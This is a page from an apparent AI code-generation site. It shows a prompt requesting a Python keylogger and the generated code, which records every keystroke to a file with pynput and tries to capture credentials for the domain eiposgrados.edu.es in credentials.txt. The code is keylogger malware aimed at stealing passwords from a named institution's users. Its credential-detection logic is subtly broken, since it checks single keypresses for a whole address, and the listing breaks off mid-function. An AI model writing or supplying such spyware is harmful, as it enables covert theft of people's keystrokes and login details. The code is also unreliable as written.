Generation

generate functionSun, 12 Mar 2023

creation of a Keylogger using the Python programming language. Structure of the source code the following functions must be implemented: - recordKey: this function is launched when a keyboard listener is started. In turn, the following three functions should be called within it. - printDataConsole: this function prints the keys pressed by the user on the screen. - saveInFile: this function will save the user's keystrokes in a file named "keylog.txt".Security Offensive1 - detectEIPassword: this function will detect the writing of emails with the domain "eiposgrados.edu.es" and store the word followed by the possible email in a text file named "credentials.txt". - readLogs: this function allows reading and displaying on screen the information contained in the text file "keylog.txt". - readCredentials: this function allows reading and displaying on screen the information contained in the text file "credentials.txt". - menu: a menu function must be created

from pynput.keyboard import Listener import os import threading def SaveInFile(text): try: file = open("keylog.txt", "a") file.write(text) file.close() except: print("An error has occurred") def PrintDataConsole(text): print("The key pressed was: " + text) def DetectEIPassword(text): if ("@eiposgrados.edu.es" in text): file = open("credentials.txt", "a") file.write(text + " ") file.close() def RecordKey(key): try: keyPressed = str(key.char) except AttributeError: keyPressed = str(key) keyPressed = keyPressed.replace("'", "") SaveInFile(keyPressed) PrintDataConsole(keyPressed) DetectEIPassword(keyPressed) def ReadLogs

Questions about programming?Chat with your personal AI assistant